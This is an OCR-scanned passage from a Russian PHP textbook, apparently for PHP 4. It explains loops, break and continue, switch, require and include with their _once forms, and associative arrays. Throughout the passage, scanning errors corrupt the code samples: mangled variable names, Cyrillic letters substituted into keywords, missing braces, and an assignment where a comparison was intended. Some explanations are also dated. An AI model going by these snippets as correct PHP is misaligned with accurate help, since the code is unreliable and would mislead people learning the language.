Цикл с постусловием do-while

В отличие от цикла while , этот цикл проверяет значение выражения не до,
а после каждого прохода. Таким образом, тело цикла выполняется хотя бы
один раз. Выглядит оператор так:

do (

команды;

} while(логическое_выражение) ;

После очередной итерации проверяется, истинно ли логическое_выражение ,
и, если это так, управление передается вновь на начало цикла, в противном
случае цикл обрывается.
Альтернативного синтаксиса для do-while разработчики РНР не предусмот-
рели (видимо, из-за того, что, в отличие от прикладного программирования,
этот цикл довольно редко используется при программировании сценариев).

Универсальный цикл for

Я не зря назвал его универсальным — ведь с его помощью можно (и нужно)
создавать конструкции, которые будут выполнять действия совсем не такие
тривиальные, как простая переборка значения счетчика (а именно для этого
используется for в Паскале и чаще всего в Си). Формат конструкции такой:

for(инициализирующие_команды; условие_цикла ; команды_после_прохода )

тело цикла ;

Работает он следующим образом. Как только управление доходит до цикла,
первым делом выполняются операторы, включенные в иющиализирую-
щие_команды (слева направо). Эти команды перечисляются там через запя-
тую, например :

f o r ( $ i = 0 , $j = 10,$k="Test! ; )

Затем начинается итерация. Первым делом проверяется, выполняется ли
условие_цикла (как в конструкции while) . Если да, то все в порядке, и цикл
продолжается. Иначе осуществляется выход из конструкции. Например:

// прибавляем по одной точке

for($i=0,Sj=0,$k="Test"; $i<10 ; ) $k.=".";

----------------------- Page 172-----------------------
Глава 9. Конструкции языка _ 157

Предположим, что тело цикла проработало одну итерацию. После этого всту-
пают в действие команды_после_прохода (их формат тот же, что и у ини-
циализирующих операторов). Например:

for($i=0,$j=0,$k="Points"; $i<100; $j++ , $i+=$j ) $k=$k.".";

Хочется добавить, что приведенный пример (да и вообще любой цикл for)
можно реализовать и через while , только это будет выглядеть не так изящно
и лаконично. Например:

$i=0; $j=0 ; $k="Points" ;

while ($i<100) {

$k.=".";

$j++; $i+=$j;

}

Вот, собственно говоря, и все... Хотя нет. Попробуйте угадать: сколько точек
добавится в конец переменной $k после выполнения цикла?

Как обычно, имеется и альтернативный синтаксис конструкции:

for (инициализирующие_команды ; условие_цикла ; команды_после_прохода ) :

операторы;

endfor;

Инструкции breaks continue

Продолжим разговор про циклические конструкции. Очень часто для того,
чтобы упростить логику какого-нибудь сложного цикла, удобно иметь воз-
можность его прервать в ходе очередной итерации (к примеру, при выпол-
нении какого-нибудь особенного условия). Для этого и существует инструк-
ция break , которая осуществляет немедленный выход из цикла. Она может
задаваться с одним необязательным параметром — числом, которое указы-
вает, из какого вложенного цикла должен быть произведен выход. По умол-
чанию используется 1, т. е. выход из текущего цикла, но иногда применяют-
ся и другие значения:

for($i=0; $i<10 ; $i++) {

for($j=0; $j<10 ; $j++) {

If ($A[$i]=$A[$j] ) break(2) ;

if($i<10) echo 'Найдены совпадающие элементы в матрице $А ! ' ;

В этом примере инструкция break осуществляет выход не только из второго,
но и из первого цикла, поскольку указана с параметром 2.

----------------------- Page 173-----------------------
158 Часть III. Основы языка PHP

Примечание

Применение такой формы записи break — новинка РНР версии 4. Честно говоря,
я не встречал ни одного другого языка, который бы использовал подобный (на
мой взгляд, крайне удачный) синтаксис. Спасибо вам, разработчики РНР!

Инструкцию break удобно использовать для циклов поисков: как только
очередная итерация цикла удовлетворяет поисковому условию , поиск обры-
вается. Например , вот цикл , который ищет в массиве $А первый нулевой
элемент:

for($i=0; $i<count ($A) ;

if ($A[$i]==0) break ;

if ($i<count ($A) ) echo "Нулевой элемент найден : i=$i";

Стандартная функция count о, которую мы еще не рассматривали , просто
возвращает число элементов в массиве $д.

Инструкция continue так же, как и break , работает только "в паре" с цик-
лическими конструкциями. Она немедленно завершает текущую итерацию
цикла и переходит к новой (конечно, если выполняется условие цикла для
цикла с предусловием). Точно так же, как и для break , для continue можно
указать уровень вложенности цикла, который будет продолжен по возврату
управления .
В основном continue позволяет вам сэкономить количество фигурных ско-
бок в коде и увеличить его удобочитаемость. Это чаще всего бывает нужно в
циклах-фильтрах, когда требуется перебрать некоторое количество объектов
и выбрать из них только те, которые удовлетворяют определенным услови-
ям . Например , вот цикл , который обнуляет те элементы массива $д, кото-
рые удовлетворяют нескольким условиям:

for($i=0 ; SKcount ($A ) ; $i++) {

if ( !условие! ($A[$i ] ) ) continue/-

if ( '.условиеК (SA[$il ) ! continue;

$A[$i]=0;

( Замечание }

Грамотное использование break и continue— искусство, позволяющее за-
метно улучшить "читабельность" кода и количество блоков else . Возможно, в
приведенных выше примерах оно и не было абсолютно оправданным, но, я
уверен, рано или поздно вам придется столкнуться с ситуацией, когда без этих
инструкций не обойтись.

----------------------- Page 174-----------------------
Глава 9. Конструкции языка 159

Нетрадиционное использование
do-while и break

Есть один интересный побочный эффект, который дает нам инструкция
break , и который довольно удобно использовать для обхода "лишних" опе-
раторов (кстати, его можно применять и в Си). Необходимость такого об-
хода возникает довольно часто, причем именно при программировании сце-
нариев. Рассмотрим соответствующий пример (листинг 9.2):

| Листинг 9.2. Модель сценария для обработки формы

$WasError=0; // индикатор ошибки — если не 0 , то была ошибка

// Если нажали кнопку Submit (с именем $doSubmit).. .

if(@$doSubmit) do {

// Проверка входных данных

if(неправильное имя пользователя ) { $WasError=l; break ; }
. . . и т . д .
if(неправильные данные) { $WasError=l ; break ; }
. . . и т . д .
// Данные в порядке . Обрабатываем их .

выполняем действия ;

выводим результат ;

завершаем сценарий ;

} while(0) ;

Выводим форму , через которую пользователь будет запускать этот сценарий ,
и , возможно , отображаем сообщение об ошибке в случае , если $WasError!=0 .

Здесь представлен наиболее обычный способ для организации сценариев-
диалогов. Запустив сценарий без параметров, пользователь видит форму с
приглашением ввести свое имя, пароль и некоторые другие данные. При
нажатии кнопки запускается тот же самый сценарий, который определяет,
что была нажата кнопка dosubmit , и первым делом проверяет имя и пароль.
Если они заданы неверно, то отображается опять наша форма (и где-нибудь
красным цветом сообщение об ошибке), в противном случае сценарий за-
вершается и выдает страницу с результатом.
Мы видим, что указанный алгоритм можно реализовать наиболее удобно,
имея какой-то способ обрывания блока "проверки-и-завершения" и возврата
к выводу формы заново. Как раз это и делает конструкция
if(что то) do { .. . } while(0) ;

----------------------- Page 175-----------------------
160 Часть III. Основы языка РНР

Очевидно, что тело цикла do-while выполняется в любом случае только
один раз (так как выражение в while всегда ложно). Тем не менее, такой
"вырожденный" цикл мы можем использовать для быстрого выхода из него
посредством break .

Многие сразу возразят, что в таких случаях удачнее будет задействовать функ-
ции и оператор return. Однако в РНР как раз это довольно неудобно, посколь-
ку для того, чтобы из функции добраться до глобальной переменной (коей яв-
ляется любой элемент формы), нужно проделать несколько дополнительных
шагов. Это, конечно, недостаток РНР, и о нем мы поговорим чуть позже.

Цикл for each

Данный тип цикла предназначен специально для перебора всех элементов
массива и был добавлен только в четвертой версии языка РНР. Выглядит он
следующим образом:

foreach (массив as $key=>$value)
команды;

Здесь команды циклически выполняются для каждого элемента массива, при
этом очередная пара ключ=>значение оказывается в переменных $key и $vaiue.
Давайте рассмотрим пример (листинг 9.3), где покажем, как мы можем отобра-
зить содержимое всех глобальных переменных при помощи foreach :

i Листинг 9.3. Вывод всех глобальных переменных

foreach ($GLOBALS as $k=>$v)

echo "<b>$k</b> => <tt>$v</ttxbr>\n";

У цикла foreach имеется и другая форма записи, которую следует приме-
нять, когда нас не интересует значение ключа очередного элемента. Выгля-
дит она так:

foreach (массив as $value)

команды;

В этом случае доступно лишь значение очередного элемента массива, но не
его ключ. Это может быть полезно, например, для работы с массивами-
списками.

Внимание

Цикл foreach оперирует не исходным массивом, а его копией. Это означает,
что любые изменения, которые вносятся в массив, не могут быть "видны" из

----------------------- Page 176-----------------------
Глава 9. Конструкции языка 161

тела цикла. Что позволяет, например, в качестве массива использовать не
только переменную, но и результат работы какой-нибудь функции, возвращаю-
щей массив (в этом случае функция будет вызвана всего один раз — до начала
цикла, а затем работа будет производиться с копией возвращенного значения).

В следующей главе мы рассмотрим ассоциативные массивы и все, что к ним
относится, гораздо более подробно.

Конструкция switch-case

Часто вместо нескольких расположенных подряд инструкций if-else целе-
сообразно воспользоваться специальной конструкцией switch-case :

switch(выражение) {

case значение! : команды!; [break;]

case значение2 : команды2; [break;]

case значением : командыЫ ; [break;]

[default: команды_по_умолчанию ; [break] ]

}

Делает она следующее: вычисляет значение выражения (пусть оно равно,
например, v), а затем пытается найти строку, начинающуюся с case v: . Ес-
ли такая строка обнаружена, выполняются команды, расположенные сразу
после нее (причем на все последующие операторы case что_то внимание не
обращается, как будто их нет, а код после них остается без изменения) . Ес-
ли же найти такую строку не удалось, выполняются команды после defaul t
(когда они заданы).

Обратите внимание на операторы break (которые условно заключены в
квадратные скобки, чтобы подчеркнуть их необязательность), добавленные
после каждой строки команд, кроме последней (для которой можно было
бы тоже указать break , что не имело бы смысла). Если бы не они, то при
равенстве у=значение ! сработали бы не только команды! , но и все нижеле-
жащие .
Вот альтернативный синтаксис для конструкции switch-case :

switch(выражение):

case значение! : команды!; [break;]

case значением : командыЫ ; [break;]

[default: команды_по_умолчанию ; [break]]

endswitch;

----------------------- Page 177-----------------------
162 Часть III. Основы языка PHP

Инструкция require

Эта инструкция позволяет нам разбить текст программы на несколько фай-
лов. Ее формат такой:

require имя_файла ;

При запуске (именно при запуске, а не при исполнении!) программы ин-
терпретатор просто заменит инструкцию на содержимое файла имя_файла
(этот файл может также содержать сценарий на РНР, обрамленный, как
обычно, тэгами <? и ?>). Причем сделает он это только один раз (в отличие
от include , который рассматривается ниже): а именно, непосредственно
перед запуском программы. Это бывает довольно удобно для включения в
вывод сценария всяких "шапок" с HTML-кодом. Например (листинги 9.4,
9.5 и 9.6):

I Листинг 9.4. Файл header. htm

<html>

<headxtitle>Title! </titlex/head >

<body bgcolor=yellow>

i Листинг 9.5. Файл footer.htm

& copy; My company, 1999.
</bodyx/html>

] Листинг 9.6. Файл script. php

require "header.htm";

. . . работает сценарий и выводит само тело документа

require "footer.htm" ;

Безусловно, это лучше, чем включать весь HTML-код в сам сценарий вместе
с инструкциями программы. Вам скажет спасибо тот, кто будет пользоваться
вашей программой и захочет изменить ее внешний вид. Однако, несмотря
на кажущееся удобство, это все же плохая практика. Действительно, наш
сценарий разрастается аж до трех файлов! А как было сказано выше, чем
меньше файлов использует программа, тем легче с ней будет работать ваше-
му дизайнеру и верстальщику (которые о РНР имеют слабое представление).

----------------------- Page 178-----------------------
Глава 9. Конструкции языка 163

О том, как же быть в этой ситуации, я расскажу позже в пятой части книги,
в главе, посвященной технике разделения кода и шаблонов.

Инструкция include

Эта инструкция практически идентична require , за исключением того, что
включаемый файл вставляется "в сердце" нашего сценария не перед его вы-
полнением, а прямо во время.
Какая разница? Поясню. Пусть у нас есть 10 текстовых файлов с именами
fileO.php , fiiei.php и так далее до fiie9.php , содержимое которых просто
десятичные цифры О, 1 ... 9 (по одной цифре в каждом файле). Запустим
такую программу:

for($i=0; $i<10 ; $i++) {

include "file$i.php";

}

В результате мы получим вывод, состоящий из 10 цифр: "0123456789". Из
этого мы можем заключить, что каждый из наших файлов был включен по
одному разу прямо во время выполнения цикла! (Попробуйте теперь вместо
include подставить require . Сравните результат.)
Вы, должно быть, обратили внимание на, казалось бы, лишние фигурные
скобки вокруг include . Попробуйте их убрать. Вы тут же можете получить
совершенно бестолковое сообщение об ошибке (или, еще хуже, программа
начнет неправильно работать, а причину разыскать будет нелегко). Почему
так происходит? Да потому, что include не является на самом деле операто-
ром в привычном нам смысле этого слова. Чтобы это понять, представьте,
что каждый раз, когда интерпретатор встречает инструкцию include , он
просто "в лоб" заменяет ее на содержимое файла, указанного в параметре.
А вдруг в этом файле несколько команд? Тогда в цикле выполнится только
первая из них, а остальные будут запущены уже после окончания цикла. Так
что общее правило гласит: всегда обрамляйте инструкцию include фигур-
ными скобками, если размещаете ее внутри какой-либо конструкции.

Замечание

В будущих версиях разработчики РНР, возможно, и исправят положение к луч-
шему, однако не советую вам рассчитывать на это.

Трансляция и проблемы с include

Как мы знаем, перед исполнением РНР транслирует программу во внутрен-
нее представление. Это означает, что в памяти создается как бы "полу-
фабрикат", из которого исключены все комментарии, лишние пробелы, не-

----------------------- Page 179-----------------------
164 Часть III. Основы языка PHP

которые имена переменных и т. д. Впоследствии это внутреннее представ-
ление интерпретируется (выполняется). Однако мы знаем также, что в про-
грамме могут встретиться такие места, "подводные камни" для интерпрета-
тора, которые РНР не сможет оттранслировать заранее. В этом случае он их
пропускает, "откладывает на потом", чтобы в момент, когда управление дой-
дет до определенной точки, опять запустить транслятор.
Одним из таких "камней" как раз и является инструкция include . Как толь-
ко управление программы доходит до нее, РНР вынужден приостановиться
и ждать, пока транслятор не оттранслирует код включаемого файла. А это
достаточно отрицательно сказывается на быстродействии программы, осо-
бенно большой. Поэтому, если вы пишете большой и сложный сценарий ,
применяйте инструкцию require вместо include , где только можно.
В пользу последнего говорит также и перспектива появления в будущем
компилятора для РНР, который будет уметь сохранять оттранслированный
код в исполняемые файлы (нечто подобное уже существует для программ на
Perl). Если вы будете использовать include , то РНР никак не сможет опре-
делить во время компиляции , какие файлы вы собираетесь подключить в
программе, поэтому в исполняемый файл их код не войдет.
Что же оптимальнее — requir e или include ? Если вы точно уверены , что
определенный файл нужно присоединить ровно один раз и в точно опреде-
ленное место, то воспользуйтесь require . В противном случае более удач-
ным выбором будет include .

Инструкции однократного включения

В больших и непростых сценариях инструкции include и require приме-
няются очень и очень часто. Поэтому становится довольно сложно контро-
лировать, как бы случайно не включить один и тот же файл несколько раз
(что чаще всего приводит к ошибке).
Чтобы стало яснее, я расскажу вам притчу. Как-то раз разработчик Билл
написал несколько очень полезных функций для работы с файлами Excel и
решил объединить их в библиотеку — файл xllib.php (листинг 9.7):

i Листинг 9.7. Библиотека xllib.php

Function LoadXIDocument($filename) { . . ,
Function SaveXlDocument($filename,$doc) {

Разработчик Вася захотел сделать то же самое для работы с документами
Microsoft Word, в результате чего на свет явилась библиотека wiib.php . Так

----------------------- Page 180-----------------------
Глава 9. Конструкции языка _ 165

как Word и Excel связаны между собой, Вася использует в своей библиотеке
(листинг 9.8) возможности, предоставляемые библиотекой xllib.php -
подключает ее командой require :

: Листинг 9.8. Библиотека wlib.php

require "xllib.php";

Function LoadWDocument ($filename) ( . . . )

Function SaveWDocument ($filename, $doc) ( . .

Эти две библиотеки стали настолько популярны в среде Web-програм-
мистов, что скоро все стали их внедрять в свои программы. При этом, ко-
нечно же, никому нет дела до того, как эти библиотеки на самом деле уст-
роены - все просто подключают их к своим сценариям при помощи
require , не задумываясь о возможных последствиях.

Но в один прекрасный день одному неизвестному программисту потребова-
лось работать и с документами Word, и с документами Excel. Он, не долго
думая, подключил к своему сценарию обе эти библиотеки (листинг 9.9):

| Листинг 9.9. Подключение библиотек xllib.php и wlib.php

require "wlib.php";

require "xllib.php" ;

$wd=LoadWDocument ( "document . doc " ) ;

$xd=LoadXl Document ("document . xls" ) ;

Каково же было его удивление, когда при запуске этого сценария он полу-
чил сообщение об ошибке, в котором говорилось, что в файле xiib.php
функция LoadxiDoc O определена дважды!..
Что же произошло? Нетрудно догадаться, если проследить за тем, как
транслятор РНР "разворачивает" код листинга 9.9. Вот как это происходит:

//require "wlib.php";

//require "xllib.php";

Function LoadXl Document ($filename) ( . . . )

Function SaveXIDocument ($filename , $doc) ( . . . )

Function LoadWDocument ($filename) ( . . . )

Function SaveWDocument ($filename,$doc) ( . . . )

----------------------- Page 181-----------------------
166 Часть III. Основы языка PHP

//require "xllib.php" ;

Function LoadXlDocument($filename) { . . . }

Function SaveXIDocument($filename , $doc) ( . . . )

$wd=LoadWDocument("document.doc") ;

$xd=LoadXlDocument("document.xls");

Как видим , файл xllib.php был включен в текст сценария дважды: первый
раз косвенно через wiib.php , и второй раз — непосредственно из програм-
мы. Поэтому транслятор, дойдя до выделенной строки, обнаружил, что
функция LoadxiDocument о определяется второй раз, на что честно и про-
реагировал.
Конечно, разработчик сценария мог бы исследовать исходный текст библио-
теки wiib.php и понять, что во второй раз xllib.php включать не нужно.
Но согласитесь — это не выход. Действительно, при косвенном подключе-
нии файлов третьего и выше уровней вполне могут возникнуть ситуации,
когда без модификации кода библиотек будет уже не обойтись. А это недо-
пустимо. Как же быть?
Что ж, после столь длительного вступления (возможно, слишком длитель-
ного?) наконец настала пора рассказать, что думают по этому поводу разра-
ботчики РНР. А они предлагают простое решение: инструкции
inciude_once И require_once .

Инструкция require_once работает точно так же, как и require , но за од-
ним важным исключением. Если она видит, что затребованный файл уже
был ранее включен , то она ничего не делает. Разумеется, такой метод рабо-
ты требует от РНР хранения полных имен всех подсоединенных файлов где-
то в недрах интерпретатора. Так он, собственно говоря, и поступает.
Инструкция indude__once работает совершенно аналогично, но включает
файл во время исполнения программы , а не во время трансляции .

С Замечание ^

Как я уже говорил, в РНР существует внутренняя таблица, которая хранит пол-
ные имена всех включенных файлов. Проверка этой таблицы осуществляется
инструкциями include_once и require_once. Однако добавление имени
включенного файла производят также и функции require и include. Поэтому,
если какой-то файл был востребован, например, по команде require, а затем
делается попытка подключить его же, но с использованием require_once, то
последняя инструкция просто проигнорируется.

Везде, где только можно, применяйте инструкции с суффиксом once. Поста-
райтесь вообще отказаться от require и include . Это во многом упростит раз-
биение большой и сложной программы на относительно независимые модули.

----------------------- Page 182-----------------------
Глава 10

Ассоциативные
массивы

Возможно, вы уже догадались, что ассоциативные массивы — один из самых
мощных инструментов в РНР. Массивы — нечто, что довольно часто реали-
зовывается в интерпретаторах типа РНР (в Perl ассоциативные массивы уст-
роены даже немного хуже, чем в РНР). Давайте рассмотрим чуть подробнее,
как с ними работать.

Массивы — это своеобразные контейнеры-переменные для хранения сразу
нескольких величин, к которым можно затем быстро и удобно обратиться.
Конечно, никто не запрещает вам вообще их не использовать, а, например ,
давать своеобразные имена переменным, такие как $ai , $a2 и т. д., но пред-
ставьте, что получится в этом случае, если вам нужно держать в памяти,
скажем, тысячу таких переменных. Кроме того, такой способ организации
массивов имеет и еще один недостаток — очень трудно перебрать все его
значения в цикле, хотя это и возможно:

for ($i=0; ; $i++) {

$v="a$i";

if(lisset($$v)) break ;

..делаем что-нибудь с $$v

f Совет\)

Никогда так не делайте! Этот пример приведен здесь лишь для иллюстрации.
Если вдруг при написании какого-нибудь сценария вам все-таки мучительно за-
хочется применить этот "трюк", выключите компьютер, подумайте минут 15, а
затем снова включите его.

Здесь мы используем возможность РНР по работе с ссылочными перемен-
ными, которую я категорически не рекомендую где-либо применять. Все это
представлено здесь для того, чтобы проиллюстрировать, насколько неудобно
бывает работать без массивов.

----------------------- Page 183-----------------------
168 Часть III. Основы языка PHP

Давайте теперь начнем с самого начала. Пусть у нас в программе нужно
описать список из нескольких человеческих имен. Можно сделать это так
(листинг 10.1):

| Листинг 10.1. Инициализация массива
! : — — j

$NamesList[0]="Dmitry";
$NamesList[1]="Helen";
$NamesList[2]="Sergey";

Таким образом, мы по одному добавляем в массив $NamesList элементы, на-
пример, пронумерованные от 0. РНР узнает, что мы хотим создать массив, по
квадратным скобкам (нужно заметить, что для этого переменная $NamesList в
начале не должна еще быть инициализирована). Я буду в дальнейшем назы-
вать массивы, ключи (или, как их часто называют, индексы — то, что стоит в
квадратных скобках) которых нумеруются с нуля и идут без пропусков (а это
далеко не всегда так, как мы вскоре увидим), списками.

Некоторые стандартные функции РНР, обрабатывающие массивы, требуют
передавать в их параметрах именно списки, хотя чаще всего можно это ог-
раничение обойти, передав им любой другой массив. В таком случае они все
равно рассматривают массив как обычный список, т. е. не обращают ника-
кого внимания на его ключи. Во многих случаях это бывает нежелательно,
на чем мы чуть позже остановимся подробнее.

Давайте теперь посмотрим, как можно распечатать наш список. Самый про-
стой способ — воспользоваться циклом for :

echo "А вот первый элемент массива : ".$NamesList[0]."<hr>";
for($i=0; $1<кол-во_элементов ; $i++)
echo $NamesList[$i]."<br>";

Количество элементов в массиве легко можно определить, задействуя функ-
цию count ( ) или ее синоним sizeof ( ) :

for($i=0; $i<count($NamesList); $i++)
echo $NamesList[$i]."<br>" ;

Создание массива "на лету". Автомассивы

В примере из листинга 10.1, казалось бы, все гладко. За исключением од-
ного небольшого недостатка: каждый раз, добавляя имя, мы должны были
выбирать для него номер и заботиться, чтобы ненароком не указать уже су-
ществующий. Чтобы этого избежать, можно написать те же команды так:
$NamesList[]="Dmitry";

----------------------- Page 184-----------------------
Глава 10. Ассоциативные массивы 169

$NamesList[]="Helen";
$NamesList[]="Sergey";

В этом случае PHP сам начнет (конечно, если переменная SNamesList еще
не существует) нумерацию с нуля и каждый раз будет прибавлять к счетчику
по единичке, создавая список. Согласитесь, довольно удобно. Разумеется,
можно использовать [ ] и не только в таком простом контексте, очень часто
они применяются для более общего действия — добавления элемента в ко-
нец массива, например:

Unset($FNames); // на всякий случай стираем массив
while($P=очередное_имя_файла_в_текущем каталоге)
if (paciiMpeHHe_$f_ecTb_txt) $FNames [ ] =$f ;
// теперь $FNames содержит список файлов с расширением txt

Если же нам нужно создать ассоциативный массив (я буду его иногда назы-
вать хэш), все делается совершенно аналогично, только вместо цифровых
ключей мы должны указывать строковые. При этом следует помнить, что в
строковых ключах буквы нижнего и верхнего регистров считаются различны-
ми. И еще: ключом может быть абсолютно любая строка, содержащая про-
белы, символы перевода строки, нулевые символы и т. д. То есть, никаких
ограничений на ключи не накладывается.

Поясню сказанное на примере. Пусть нам надо написать сценарий, который
работает, как записная книжка: по фамилии абонента он выдает его имя. Мы
можем организовать базу данных этой книжки в виде ассоциативного массива
с ключами — фамилиями и соответствующими им значениями имен людей:

$Names["Koteroff"] = "Dmitry";

$Names["Ivanov"] = "Ivan";

$Names["Petrov"] = "Peter";

Далее, мы можем распечатать имя любого абонента командой:

echo $Names["Ivanov"];
$f="Koteroff";
echo $Names[$f] ;

Как видите, тут никаких особенностей нет, все работает совершенно анало-
гично спискам, только с нецифровыми ключами. Возможно, вы скажете, что
это не совсем так: например, нельзя воспользоваться циклом for , как мы это
делали раньше, для вывода всех персоналий, и окажетесь правы. Вскоре мы
рассмотрим целых три приема, с помощью которых можно перебрать все эле-
менты массива. Вы, скорее всего, будете применять их даже и для списков -
настолько они удобны и универсальны, а к тому же и работают быстрее, чем
последовательный перебор в цикле for с использованием $i.

----------------------- Page 185-----------------------
170 Часть III. Основы языка PHP

Инструкция listf)

Пусть у нас есть некоторый массив-список $List с тремя элементами: имя
человека, его фамилия и возраст. Нам бы хотелось присвоить переменным
$name, $surname и $age эти величины. Это, конечно, можно сделать так:

$name=$List[0];
$surname=$List[1];
$age=$List[2];

Но гораздо изящнее будет воспользоваться инструкцией list о, предназна-
ченной как раз для таких целей:

list($name,$surname,$age)=$List ;

Согласитесь, выглядит несколько приятнее. Конечно, list о можно задейст-
вовать для любого количества переменных: если в массиве не хватит элемен-
тов, чтобы их заполнить, им просто присвоятся неопределенные значения.
Что, если нам нужны только второй и третий элемент массива $List?
В этом случае имеет смысл пропустить первый параметр в инструкции
list о , вот так:

list(,$surname,$age)=$List;

Таким образом, мы получаем в $surname и $аде фамилию и возраст челове-
ка, не обращая внимания на его имя в первом аргументе.

( Замечание

Разумеется, можно пропускать любое число элементов, как слева или справа,
так и посередине списка. Главное — не забыть проставить нужное количество
запятых.

Списки и ассоциативные
массивы: путаница?..

Следует сказать несколько слов насчет ассоциативных массивов языка РНР .
Во-первых, на самом деле все "остальные" массивы также являются ассоциа-
тивными (в частности, списки — тоже). Во-вторых, ассоциативные массивы
в РНР являются направленными, т. е. в них существует определенный
(и предсказуемый) порядок элементов, не зависящий от реализации. А зна-
чит, есть первый и последний элементы, и для каждого элемента можно оп-
ределить следующий за ним. Именно по этой причине мне не нравится на-
звание "хэш" (в буквальном переводе - • "мешанина"), хотя, конечно, в
реализации РНР наверняка используются алгоритмы хэширования для уве-
личения быстродействия.

----------------------- Page 186-----------------------
Глава 10. Ассоциативные массивы 171

Операция [ ] всегда добавляет элемент в конец массива, присваивая ему при
этом такой числовой индекс, который бы не конфликтовал с уже имеющи-
мися в массиве (точнее, выбирается номер, превосходящий все имеющиеся
цифровые ключи в массиве). Вообще говоря, любая операция
$Аггау[ключ]=значение всегда добавляет элемент в конец массива, конечно,
за исключением тех случаев, когда ключ уже присутствует в массиве. Если
вы захотите изменить порядок следования элементов в ассоциативном мас-
сиве, не изменяя в то же время их ключей, это можно сделать одним из двух
способов: воспользоваться функциями сортировки, либо же создать новый
пустой массив и заполнить его в нужном порядке, пройдясь по элементам
исходного массива.

Инструкция аггауО
и многомерные массивы

Вернемся к предыдущему примеру. Нам необходимо написать программу ,
которая по фамилии некоторого человека из группы будет выдавать его имя.
Поступим так же, как и раньше : будем хранить данные в ассоциативном
массиве (сразу отбрасывая возможность составить ее из огромного числа
конструкций if-eise как неинтересную):

$Names["Ivanov"] ="Dmitry" ;
$Names["Petrova"]="Helen" ;

Теперь можно, как мы знаем, написать:

echo $Names["Petrova"]; // выведет Helen

echo $Names["Oshibkov"] ; // ошибка : в массиве нет такого элемента !

Идем дальше. Прежде всего обратим внимание: приведенным выше механиз-
мом мы никак не смогли бы создать пустой массив. Однако он очень часто
может нам понадобиться, например, если мы не знаем, что раньше было в
массиве $Names, но хотим его проинициализировать указанным путем. Кроме
того, каждый раз задавать массив указанным выше образом не очень-то удоб-
но — приходится все время однообразно повторять строку $Names.. .

Так вот, существует и второй способ создания массивов, выглядящий значи-
тельно компактнее. Я уже упоминал его несколько раз — это использование
оператора array ( ) . Например:

// создает пустой массив $Names

$Names=array();

// создает такой же массив , как в предыдущем примере с именами
$Names=array("Ivanov"=>"Dmitry", "Petrova"=>"Helen");

// создает список с именами (нумерация 0,1,2}
$NamesList=array("Dmitry","Helen", "Sergey") ;

----------------------- Page 187-----------------------
772 Часть III. Основы языка РНР

Теперь займемся вопросом, как формировать двумерные (и вообще много-
мерные) массивы. Это довольно просто. В самом деле, я уже говорил, что
значениями переменных (и значениями элементов массива тоже, поскольку
РНР не делает никаких различий между переменными и элементами масси-
ва) может быть все, что угодно, в частности — опять же массив. Так, можно
создавать ассоциативные массивы (а можно — списки) с любым числом из-
мерений. Например, если кроме имени о человеке известен также его воз-
раст, то можно инициировать массив $Names так:

$Names["Ivanov"] = array("name"=>"Dmitry","age"=>25) ;
$Names["Petrova"] = array("name"=>"Helen" , "age"=>23) ;

или даже так:

$Names=array(
"Ivanov" => array("name"=>"Dmitry","age"=>25 ) ,
"Petrova"=> array("name"=>"Helen", "age"=>23)

) ;

Как же добраться до нужного нам элемента в нашем массиве? Нетрудно
догадаться по аналогии с другими языками:

echo $Names["Ivanov"]["age"]; // напечатает "25"

echo $Names["Petrova"]["bad"]; // ошибка : нет такого элемента "bad"

Довольно несложно, не правда ли? Кстати, мы можем видеть, что ассоциа-
тивные массивы в РНР удобно использовать как некие структуры, хранящие
данные . Это похоже на конструкцию struct в Си (или record в Паскале).
Пожалуй, это единственный возможный способ организации структур, но
он очень гибок.

Операции над массивами

Существует довольно много операций, которые можно выполнять с масси-
вами (в дополнение к общим операциям над переменными). Давайте пере-
числим их, а заодно и подытожим все сказанное выше.

Доступ по ключу

Как мы уже знаем, ассоциативные массивы — объекты, которые наиболее
приспособлены для выборки из них данных путем указания нужного ключа.
В РНР и для всех массивов, и для списков (которые, еще раз напомню,
также являются массивами) используется один и тот же синтаксис, что яв-
ляется очень большим достоинством. Вот как это выглядит:

echo $Arr["anykey"] ; // выводит элемент массива $Агг с ключом anykey

echo $Arr["first"]["second"]; // так используются двумерные массивы

----------------------- Page 188-----------------------
Глава 10. Ассоциативные массивы /73

echo (SomeFuncThatReturnsArrayO)[5]; // ОШИБКА! Так нельзя!

// Вот так правильно:

$Arr= SomeFuncThatReturnsArray() ;
echo $Arr[5] ;

Последний пример показывает, что РНР сильно отличается от Си с точки
зрения работы с массивами: в нем нет такого понятия , как "контекст масси-
ва", а значит, мы не можем применить [ ] непосредственно к значению , воз-
вращенному функцией .

Величина $АГГ[КЛЮЧ ] является полноценным "левым значением", т. е. может
стоять в левой части оператора присваивания, от нее можно брать ссылку с
помощью оператора &, и т. д. Например:

$Arr["anykey"]=array(100,200); // присваиваем элементу массива 100

$ref=&$Arr["first"]["second"]; // $ref — синоним элемента массива

$Arr[]="for add"; // добавляем новый элемент

Функция count()

Мы можем определить размер (число элементов) в массиве при помощи
стандартной функции count о :

$num=count($Names); // теперь в $num — число элементов в массиве

Сразу отмечу, что count ( ) работает не только с массивами, но и с объекта-
ми и даже с обычными переменными (для последних count ( } всегда равен
1, как будто переменная — это массив с одним элементом). Впрочем, ее
очень редко применяют для чего-либо, отличного от массива — разве что
по-ошибке.

Слияние массивов

Еще одна фундаментальная операция — слияние массивов, т. е. создание
массива, содержащего как элементы одного, так и другого массива. Реализу-
ется это при помощи оператора +. Например:

$a=array("a"=>"aa", "b"=>"bb");

$b=array("c"=>"cc", "d"=>"dd");

$c=$a+$b;

В результате в $с окажется ассоциативный массив, содержащий все 4 эле-
мента, а именно : a r r a y ( " a " = > " a a " , "b"=>"bb" , "c"=>"cc" , "d"=>"dd") ,
причем именно в указанном порядке. Если бы мы написали $с=$ь+$а , ре-
зультат бы был немного другой, а именно : array ("c"=>"cc" , "d"=>"dd" ,
;' "=>" ", "b"=>"bb") , т.е . элементы расположены в другом порядке.
а аа

Видите, как проявляется направленность массивов? Она заставляет опера-

----------------------- Page 189-----------------------
174 Часть III. Основы языка PHP

тор + стать некоммутативным, т. е. $а+$ь не равно $ь+$а , если $а и $ь -
массивы.
Будьте особенно внимательны при слиянии таким образом списков. Рас-
смотрим следующие операторы:

$а=аггау(10,20,30);

$b=array(100,200);

$с=$а+$Ь;

Возможно, вы рассчитываете, что в $с будет аггау(Ю,20,зо,юо,200) ? Это
неверно: там окажется a r r a y ( i o , 2 0 , 3 0 ) . Вот почему так происходит. При
конкатенации массивов с некоторыми одинаковыми элементами (то есть,
элементами с одинаковыми ключами) в результирующем массиве останется
только один элемент с таким же ключом — тот, который был в первом мас-
